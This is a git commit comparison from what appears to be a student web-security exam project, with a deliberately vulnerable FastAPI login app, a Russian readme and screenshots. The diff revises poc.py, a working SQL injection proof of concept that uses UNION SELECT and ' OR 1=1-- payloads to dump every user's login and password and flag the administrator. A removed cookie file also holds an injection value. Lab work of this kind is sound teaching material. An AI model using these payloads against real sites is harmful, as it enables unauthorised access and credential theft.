Compare commits
7 Commits
a05fd59274
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| 4ed1d130e3 | |||
| a6eb4c06fd | |||
| d6c4fb3e14 | |||
| f958956395 | |||
| 85083c9f15 | |||
| ed137b7620 | |||
| 30a1c38304 |
1
.gitignore
vendored
@@ -1,4 +1,3 @@
|
|||||||
build
|
|
||||||
.vscode
|
.vscode
|
||||||
**__pycache__
|
**__pycache__
|
||||||
data
|
data
|
||||||
BIN
Task_1 Screenshots/photo_11_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 27 KiB |
BIN
Task_1 Screenshots/photo_14_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 31 KiB |
BIN
Task_1 Screenshots/photo_1_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 145 KiB |
BIN
Task_1 Screenshots/photo_2_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
Task_1 Screenshots/photo_3_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 11 KiB |
BIN
Task_1 Screenshots/photo_4_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 11 KiB |
BIN
Task_1 Screenshots/photo_5_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 13 KiB |
BIN
Task_1 Screenshots/photo_6_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
Task_1 Screenshots/photo_7_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
Task_1 Screenshots/photo_8_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
Task_1 Screenshots/photo_9_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
Task_2 Sceenshots/photo_16_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 27 KiB |
BIN
Task_2 Sceenshots/photo_18_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 25 KiB |
BIN
Task_2 Sceenshots/photo_22_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
Task_2 Sceenshots/photo_23_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 22 KiB |
BIN
Task_3 Sceenshots/photo_17_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
Task_3 Sceenshots/photo_21_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 89 KiB |
BIN
Task_4 Sceenshots/photo_20_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
Task_4 Sceenshots/photo_24_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 47 KiB |
BIN
Task_4 Sceenshots/photo_25_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 386 KiB |
BIN
auxilary/photo_10_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
auxilary/photo_12_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 33 KiB |
BIN
auxilary/photo_13_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
auxilary/photo_15_2025-12-16_10-15-08.jpg
Normal file
|
After Width: | Height: | Size: 78 KiB |
@@ -1,7 +1,7 @@
|
|||||||
services:
|
services:
|
||||||
vunerable-web-app:
|
vunerable-web-app1:
|
||||||
image: kulesh_web-app:v0.0.1a
|
image: kulesh_web-app:v0.0.1a
|
||||||
ports:
|
ports:
|
||||||
- "80:8000"
|
- "21252:8000"
|
||||||
volumes:
|
volumes:
|
||||||
- ./data/:/app/data
|
- ./data/:/app/data
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
# Netscape HTTP Cookie File
|
|
||||||
# https://curl.se/docs/http-cookies.html
|
|
||||||
# This file was generated by libcurl! Edit at your own risk.
|
|
||||||
|
|
||||||
localhost FALSE / FALSE 0 password a
|
|
||||||
localhost FALSE / FALSE 0 login "' or 1=1-- "
|
|
||||||
27
poc.py
@@ -9,24 +9,31 @@ args = parser.parse_args()
|
|||||||
|
|
||||||
BASE_URL = args.base_url
|
BASE_URL = args.base_url
|
||||||
|
|
||||||
login_payload = "' UNION SELECT login FROM users--"
|
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
|
||||||
form_data = {"login": login_payload, "password": "' OR 1=1--"}
|
form_data = {"login": login_payload, "password": "' OR 1=1--"}
|
||||||
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||||
|
|
||||||
password_payload = "' UNION SELECT password FROM users--"
|
|
||||||
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
|
||||||
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
|
||||||
|
|
||||||
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
|
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
|
||||||
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
|
|
||||||
|
|
||||||
logins= logins_raw.split("',), ('")
|
logins= logins_raw.split("',), ('")
|
||||||
passwords = passwords_raw.split("',), ('")
|
|
||||||
|
|
||||||
|
passwords=[]
|
||||||
|
for login in logins:
|
||||||
|
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
|
||||||
|
form_data = {"login": password_payload, "password": "' OR 1=1--"}
|
||||||
|
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
|
||||||
|
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
|
||||||
|
passwords.append(password)
|
||||||
|
|
||||||
|
|
||||||
if logins and passwords:
|
if logins and passwords:
|
||||||
for i, (login, password) in enumerate(zip(logins, passwords)):
|
for i, (login, password) in enumerate(zip(logins, passwords)):
|
||||||
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
if login == "Administrator":
|
||||||
|
print(f"{'*' * 60}")
|
||||||
|
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
|
||||||
|
print(f"{'*' * 60}")
|
||||||
|
else:
|
||||||
|
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print("Не удалось извлечь данные.")
|
print("Не удалось извлечь данные.")
|
||||||
|
|
||||||
|
|||||||
@@ -1 +0,0 @@
|
|||||||
requests
|
|
||||||
54
readme.md
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
|
||||||
|
|
||||||
|
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
|
||||||
|
|
||||||
|
# PC-Seq-Exam-WebApp
|
||||||
|
|
||||||
|
## Сборка
|
||||||
|
|
||||||
|
```sh
|
||||||
|
docker build -t kulesh_web-app:v0.0.1a .
|
||||||
|
```
|
||||||
|
|
||||||
|
## Запуск
|
||||||
|
```sh
|
||||||
|
docker compose up -d
|
||||||
|
```
|
||||||
|
## Регистрация через curl
|
||||||
|
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
|
||||||
|
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
|
||||||
|
```
|
||||||
|
## SQLi
|
||||||
|
в бреду намаслал Proof Of Concept
|
||||||
|
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
|
||||||
|
пользователь очень любит скобочки кавычки и пробелы)
|
||||||
|
|
||||||
|
для запуска ставим requests,
|
||||||
|
```pip install requests```
|
||||||
|
в помошь)
|
||||||
|
```sh
|
||||||
|
python ./poc.py --base-url http://aboba.eu
|
||||||
|
```
|
||||||
|
допустм что 2 пользователя зарегались с посмошью команд выше
|
||||||
|
|
||||||
|
```
|
||||||
|
./poc.py
|
||||||
|
************************************************************
|
||||||
|
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
|
||||||
|
************************************************************
|
||||||
|
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Выполнил Кулеш А.Б.
|
||||||
|
Б9123-09.03.04
|
||||||
|
|
||||||
|
---
|
||||||
|
Он постоянно что-то ест, он постоянно что-то пьёт
|
||||||
|
|
||||||
|
Он быстро набирает вес, клянётся, что в спортзал пойдёт
|
||||||
|
|
||||||
|
Но продолжает что-то есть и продолжает что-то пить
|
||||||